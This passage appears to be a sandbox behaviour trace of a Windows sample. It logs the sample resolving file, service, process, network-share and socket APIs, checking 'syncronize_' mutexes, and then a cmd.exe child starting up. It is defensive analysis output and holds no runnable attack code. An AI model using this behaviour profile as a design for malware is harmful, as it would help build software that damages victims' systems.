0x76665da0 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="QueryPerformanceFrequency") returned 0x76665dc0 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="GetCurrentProcessId") returned 0x766bea20 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="SetFileAttributesW") returned 0x766bf100 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="GetVolumeInformationW") returned 0x766bf020 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="WriteFile") returned 0x766bf180 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="SetFilePointerEx") returned 0x766bf130 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="SetEndOfFile") returned 0x766bf0e0 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="FindFirstFileW") returned 0x766bedf0 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="GetProcessHeap") returned 0x766651f0 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="HeapReAlloc") returned 0x774cf630 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="HeapAlloc") returned 0x774d2dc0 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="HeapFree") returned 0x766657f0 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="CreatePipe") returned 0x76664590 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="SetHandleInformation") returned 0x766beae0 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="CreateProcessW") returned 0x76664610 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="CompareStringW") returned 0x76664430 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="CompareStringA") returned 0x76664410 [0249.833] GetProcAddress (hModule=0x76650000, lpProcName="OpenProcess") returned 0x76665cc0 [0249.834] GetProcAddress (hModule=0x76650000, lpProcName="TerminateProcess") returned 0x766667e0 [0249.834] GetProcAddress (hModule=0x76650000, lpProcName="GetSystemTime") returned 0x766654e0 [0249.834] GetProcAddress (hModule=0x76650000, lpProcName="SystemTimeToFileTime") returned 0x766667a0 [0249.834] GetProcAddress (hModule=0x76650000, lpProcName="GetLastError") returned 0x76665010 [0249.834] GetProcAddress (hModule=0x76650000, lpProcName="CreateToolhelp32Snapshot") returned 0x7669edc0 [0249.834] GetProcAddress (hModule=0x76650000, lpProcName="Process32NextW") returned 0x7669f8f0 [0249.834] GetProcAddress (hModule=0x76650000, lpProcName="Process32FirstW") returned 0x7669f750 [0249.834] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76190000 [0249.994] GetProcAddress (hModule=0x76190000, lpProcName="RegOpenKeyExW") returned 0x761ae580 [0249.994] GetProcAddress (hModule=0x76190000, lpProcName="RegQueryValueExW") returned 0x761ae5a0 [0249.995] GetProcAddress (hModule=0x76190000, lpProcName="RegSetValueExW") returned 0x761af530 [0249.995] GetProcAddress (hModule=0x76190000, lpProcName="RegCloseKey") returned 0x761aed60 [0249.995] GetProcAddress (hModule=0x76190000, lpProcName="OpenProcessToken") returned 0x761aefb0 [0249.995] GetProcAddress (hModule=0x76190000, lpProcName="GetTokenInformation") returned 0x761aee90 [0249.995] GetProcAddress (hModule=0x76190000, lpProcName="OpenSCManagerW") returned 0x761b0540 [0249.995] GetProcAddress (hModule=0x76190000, lpProcName="OpenServiceW") returned 0x761afa20 [0249.995] GetProcAddress (hModule=0x76190000, lpProcName="CloseServiceHandle") returned 0x761afc00 [0249.995] GetProcAddress (hModule=0x76190000, lpProcName="ControlService") returned 0x761c26d0 [0249.995] GetProcAddress (hModule=0x76190000, lpProcName="QueryServiceStatus") returned 0x761b2380 [0249.995] GetProcAddress (hModule=0x76190000, lpProcName="EnumDependentServicesW") returned 0x761c2f70 [0249.995] GetProcAddress (hModule=0x76190000, lpProcName="EnumServicesStatusExW") returned 0x761afc80 [0249.995] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76050000 [0250.062] GetProcAddress (hModule=0x76050000, lpProcName="SystemParametersInfoW") returned 0x7607f210 [0250.062] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x73f80000 [0250.184] GetProcAddress (hModule=0x73f80000, lpProcName="ShellExecuteExW") returned 0x740e4730 [0250.185] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77490000 [0250.185] GetProcAddress (hModule=0x77490000, lpProcName="NtQuerySystemInformation") returned 0x77502070 [0250.185] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73e90000 [0250.187] GetProcAddress (hModule=0x73e90000, lpProcName="WNetCloseEnum") returned 0x73e92640 [0250.188] GetProcAddress (hModule=0x73e90000, lpProcName="WNetOpenEnumW") returned 0x73e92790 [0250.188] GetProcAddress (hModule=0x73e90000, lpProcName="WNetEnumResourceW") returned 0x73e92410 [0250.188] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75ea0000 [0250.191] GetProcAddress (hModule=0x75ea0000, lpProcName="WSAStartup") returned 0x75ea5b40 [0250.191] GetProcAddress (hModule=0x75ea0000, lpProcName="socket") returned 0x75eb4510 [0250.191] GetProcAddress (hModule=0x75ea0000, lpProcName="send") returned 0x75ea5030 [0250.191] GetProcAddress (hModule=0x75ea0000, lpProcName="recv") returned 0x75eb0c50 [0250.191] GetProcAddress (hModule=0x75ea0000, lpProcName="connect") returned 0x75ea5410 [0250.191] GetProcAddress (hModule=0x75ea0000, lpProcName="closesocket") returned 0x75eb0910 [0250.191] GetProcAddress (hModule=0x75ea0000, lpProcName="gethostbyname") returned 0x75ed6cb0 [0250.191] GetProcAddress (hModule=0x75ea0000, lpProcName="inet_addr") returned 0x75eb9160 [0250.191] GetProcAddress (hModule=0x75ea0000, lpProcName="ntohl") returned 0x75ea49d0 [0250.191] GetProcAddress (hModule=0x75ea0000, lpProcName="htonl") returned 0x75ea49d0 [0250.191] GetProcAddress (hModule=0x75ea0000, lpProcName="htons") returned 0x75eb8ff0 [0250.191] GetProcessHeap () returned 0x4c0000 [0250.191] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x4cae20 [0250.191] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=6078845540) returned 1 [0250.192] GetTickCount () returned 0xed5d [0250.192] GetCurrentProcessId () returned 0xd28 [0250.193] GetTickCount () returned 0xed5d [0250.193] GetTickCount () returned 0xed5d [0250.193] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x4cae70 [0250.193] GetVersion () returned 0x23f00206 [0250.193] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x7) returned 0x4d6e58 [0250.193] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4d7f20 [0250.193] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d7f20, Size=0x20) returned 0x4cb140 [0250.193] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4cb140, Size=0x40) returned 0x4d7760 [0250.193] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x4de3b0 [0250.194] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_987AS6A") returned 0x1ec [0250.194] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d6e58 | out: hHeap=0x4c0000) returned 1 [0250.194] lstrlenW (lpString="Global\\syncronize_") returned 18 [0250.194] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d7760 | out: hHeap=0x4c0000) returned 1 [0250.194] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x7) returned 0x4d6f28 [0250.194] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4d8028 [0250.194] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d8028, Size=0x20) returned 0x4cb140 [0250.194] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4cb140, Size=0x40) returned 0x4d7a30 [0250.194] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x4ee3b8 [0250.194] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_987AS6U") returned 0x1f0 [0250.194] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d6f28 | out: hHeap=0x4c0000) returned 1 [0250.194] lstrlenW (lpString="Global\\syncronize_") returned 18 [0250.194] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d7a30 | out: hHeap=0x4c0000) returned 1 [0250.194] GetVersion () returned 0x23f00206 [0250.194] GetCurrentProcess () returned 0xffffffff [0250.194] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0250.194] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0250.194] CloseHandle (hObject=0x1f4) returned 1 [0250.194] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0250.194] ExitProcess (uExitCode=0x0) Thread: id = 36 os_tid = 0xd30 Process: id = "8" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x16d5f000" os_pid = "0xd34" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xd14" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 37 os_tid = 0xd38 [0254.952] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff67d010000 [0254.952] __set_app_type (_Type=0x1) [0254.952] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff67d026d00) returned 0x0 [0254.952] __getmainargs (in: _Argc=0x7ff67d049200, _Argv=0x7ff67d049208, _Env=0x7ff67d049210, _DoWildCard=0, _StartInfo=0x7ff67d04921c | out: _Argc=0x7ff67d049200, _Argv=0x7ff67d049208, _Env=0x7ff67d049210) returned 0 [0254.953] _onexit (_Func=0x7ff67d027fd0) returned 0x7ff67d027fd0 [0254.953] _onexit (_Func=0x7ff67d027fe0) returned 0x7ff67d027fe0 [0254.954] _onexit (_Func=0x7ff67d027ff0) returned 0x7ff67d027ff0 [0254.954] _onexit (_Func=0x7ff67d028000) returned 0x7ff67d028000 [0254.954] _onexit (_Func=0x7ff67d028010) returned 0x7ff67d028010 [0254.958] _onexit (_Func=0x7ff67d028020) returned 0x7ff67d028020 [0254.958] GetCurrentThreadId () returned 0xd38 [0254.958] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd38) returned 0x70 [0254.959] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffec1940000 [0254.959] GetProcAddress (hModule=0x7ffec1940000, lpProcName="SetThreadUILanguage") returned 0x7ffec195a990 [0254.959] SetThreadUILanguage (LangId=0x0) returned 0x409 [0255.543] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0255.543] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xc37e9ffcf8 | out: phkResult=0xc37e9ffcf8*=0x0) returned 0x2 [0255.544] VirtualQuery (in: lpAddress=0xc37e9ffce4, lpBuffer=0xc37e9ffc60, dwLength=0x30 | out: lpBuffer=0xc37e9ffc60*(BaseAddress=0xc37e9ff000, AllocationBase=0xc37e900000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0255.544] VirtualQuery (in: lpAddress=0xc37e900000, lpBuffer=0xc37e9ffc60, dwLength=0x30 | out: lpBuffer=0xc37e9ffc60*(BaseAddress=0xc37e900000, AllocationBase=0xc37e900000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0255.544] VirtualQuery (in: lpAddress=0xc37e901000, lpBuffer=0xc37e9ffc60, dwLength=0x30 | out: lpBuffer=0xc37e9ffc60*(BaseAddress=0xc37e901000, AllocationBase=0xc37e900000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0255.544] VirtualQuery (in: lpAddress=0xc37e904000, lpBuffer=0xc37e9ffc60, dwLength=0x30 | out: lpBuffer=0xc37e9ffc60*(BaseAddress=0xc37e904000, AllocationBase=0xc37e900000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0255.544] VirtualQuery (in: lpAddress=0xc37ea00000, lpBuffer=0xc37e9ffc60, dwLength=0x30 | out: lpBuffer=0xc37e9ffc60*(BaseAddress=0xc37ea00000, AllocationBase=0xc37ea00000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0x63000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0255.544] GetConsoleOutputCP () returned 0x1b5 [0255.837] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff67d04fbb0 | out: lpCPInfo=0x7ff67d04fbb0) returned 1 [0255.838] SetConsoleCtrlHandler (HandlerRoutine=0x7ff67d038150, Add=1) returned 1 [0255.838] _get_osfhandle (_FileHandle=1) returned 0x254 [0255.838] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff67d04fc04 | out: lpMode=0x7ff67d04fc04) returned 0 [0255.838] _get_osfhandle (_FileHandle=0) returned 0x248 [0255.838] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff67d04fc00 | out: lpMode=0x7ff67d04fc00) returned 0 [0255.838] _get_osfhandle (_FileHandle=1) returned 0x254 [0255.838] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0255.838] _get_osfhandle (_FileHandle=1) returned 0x254 [0255.838] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff67d04fc08 | out: lpMode=0x7ff67d04fc08) returned 0 [0255.838] _get_osfhandle (_FileHandle=0) returned 0x248 [0255.838] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff67d04fc0c | out: lpMode=0x7ff67d04fc0c) returned 0 [0255.838] GetEnvironmentStringsW () returned 0x229d1d75a40* [0255.838] GetProcessHeap () returned 0x229d1d70000 [0255.838] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xab6) returned 0x229d1d76500 [0255.838] FreeEnvironmentStringsA (penv="=") returned 1 [0255.838] GetProcessHeap () returned 0x229d1d70000 [0255.838] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x8) returned 0x229d1d75a40 [0255.838] GetEnvironmentStringsW () returned 0x229d1d76fd0* [0255.839] GetProcessHeap () returned 0x229d1d70000 [0255.839] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xab6) returned 0x229d1d77a90 [0255.839] FreeEnvironmentStringsA (penv="=") returned 1 [0255.839] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xc37e9feba8 | out: phkResult=0xc37e9feba8*=0x7c) returned 0x0 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x0, lpData=0xc37e9febc0*=0x4, lpcbData=0xc37e9feba4*=0x1000) returned 0x2 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x4, lpData=0xc37e9febc0*=0x1, lpcbData=0xc37e9feba4*=0x4) returned 0x0 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x0, lpData=0xc37e9febc0*=0x1, lpcbData=0xc37e9feba4*=0x1000) returned 0x2 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x4, lpData=0xc37e9febc0*=0x0, lpcbData=0xc37e9feba4*=0x4) returned 0x0 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x4, lpData=0xc37e9febc0*=0x40, lpcbData=0xc37e9feba4*=0x4) returned 0x0 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x4, lpData=0xc37e9febc0*=0x40, lpcbData=0xc37e9feba4*=0x4) returned 0x0 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x0, lpData=0xc37e9febc0*=0x40, lpcbData=0xc37e9feba4*=0x1000) returned 0x2 [0255.839] RegCloseKey (hKey=0x7c) returned 0x0 [0255.839] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xc37e9feba8 | out: phkResult=0xc37e9feba8*=0x7c) returned 0x0 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x0, lpData=0xc37e9febc0*=0x40, lpcbData=0xc37e9feba4*=0x1000) returned 0x2 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x4, lpData=0xc37e9febc0*=0x1, lpcbData=0xc37e9feba4*=0x4) returned 0x0 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x0, lpData=0xc37e9febc0*=0x1, lpcbData=0xc37e9feba4*=0x1000) returned 0x2 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x4, lpData=0xc37e9febc0*=0x0, lpcbData=0xc37e9feba4*=0x4) returned 0x0 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x4, lpData=0xc37e9febc0*=0x9, lpcbData=0xc37e9feba4*=0x4) returned 0x0 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x4, lpData=0xc37e9febc0*=0x9, lpcbData=0xc37e9feba4*=0x4) returned 0x0 [0255.839] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xc37e9feba0, lpData=0xc37e9febc0, lpcbData=0xc37e9feba4*=0x1000 | out: lpType=0xc37e9feba0*=0x0, lpData=0xc37e9febc0*=0x9, lpcbData=0xc37e9feba4*=0x1000) returned 0x2 [0255.839] RegCloseKey (hKey=0x7c) returned 0x0 [0255.840] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca72a90 [0255.840] srand (_Seed=0x5ca72a90) [0255.840] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0255.840] malloc (_Size=0x4000) returned 0x229d2005530 [0255.840] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0255.840] malloc (_Size=0xffce) returned 0x229d1c70080 [0255.840] ??_V@YAXPEAX@Z () returned 0x229d1c70080 [0255.841] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x229d1c70080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0255.841] malloc (_Size=0xffce) returned 0x229d1c80060 [0255.841] ??_V@YAXPEAX@Z () returned 0x229d1c80060 [0255.841] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x229d1c80060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0255.842] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0255.842] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0255.842] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0255.842] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0255.842] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0255.842] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0255.842] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0255.842] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0255.842] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0255.842] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0255.842] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0255.842] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0255.842] GetProcessHeap () returned 0x229d1d70000 [0255.842] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d76500) returned 1 [0255.842] GetEnvironmentStringsW () returned 0x229d1d75a60* [0255.842] GetProcessHeap () returned 0x229d1d70000 [0255.842] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xace) returned 0x229d1d76540 [0255.842] FreeEnvironmentStringsA (penv="=") returned 1 [0255.842] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0255.842] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0255.842] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0255.842] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0255.842] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0255.842] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0255.842] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0255.842] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0255.842] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0255.842] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0255.842] malloc (_Size=0xffce) returned 0x229d1c90040 [0255.843] ??_V@YAXPEAX@Z () returned 0x229d1c90040 [0255.843] GetProcessHeap () returned 0x229d1d70000 [0255.843] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x38) returned 0x229d1d78580 [0255.843] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x229d1c90040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0255.843] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x229d1c90040, lpFilePart=0xc37e9ff720 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xc37e9ff720*="system32") returned 0x13 [0255.844] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0255.844] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xc37e9ff450 | out: lpFindFileData=0xc37e9ff450) returned 0x229d1d785c0 [0255.844] FindClose (in: hFindFile=0x229d1d785c0 | out: hFindFile=0x229d1d785c0) returned 1 [0255.844] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xc37e9ff450 | out: lpFindFileData=0xc37e9ff450) returned 0x229d1d785c0 [0255.844] FindClose (in: hFindFile=0x229d1d785c0 | out: hFindFile=0x229d1d785c0) returned 1 [0255.844] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0255.844] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0255.844] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0255.844] GetProcessHeap () returned 0x229d1d70000 [0255.844] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d76540) returned 1 [0255.844] GetEnvironmentStringsW () returned 0x229d1d75a60* [0255.844] GetProcessHeap () returned 0x229d1d70000 [0255.844] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xafe) returned 0x229d1d76570 [0255.845] FreeEnvironmentStringsA (penv="=") returned 1 [0255.845] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x229d1c70080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0255.845] GetProcessHeap () returned 0x229d1d70000 [0255.845] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d78580) returned 1 [0255.845] ??_V@YAXPEAX@Z () returned 0x1 [0255.845] ??_V@YAXPEAX@Z () returned 0x1 [0255.845] GetProcessHeap () returned 0x229d1d70000 [0255.845] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x4016) returned 0x229d1d78580 [0255.845] GetProcessHeap () returned 0x229d1d70000 [0255.845] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d78580) returned 1 [0255.845] GetConsoleOutputCP () returned 0x1b5 [0256.047] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff67d04fbb0 | out: lpCPInfo=0x7ff67d04fbb0) returned 1 [0256.047] GetUserDefaultLCID () returned 0x409 [0256.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff67d04bb78, cchData=8 | out: lpLCData=":") returned 2 [0256.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xc37e9ffae0, cchData=128 | out: lpLCData="0") returned 2 [0256.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xc37e9ffae0, cchData=128 | out: lpLCData="0") returned 2 [0256.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xc37e9ffae0, cchData=128 | out: lpLCData="1") returned 2 [0256.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff67d04bb68, cchData=8 | out: lpLCData="/") returned 2 [0256.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff67d04bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0256.047] GetLocaleInfoW (in: 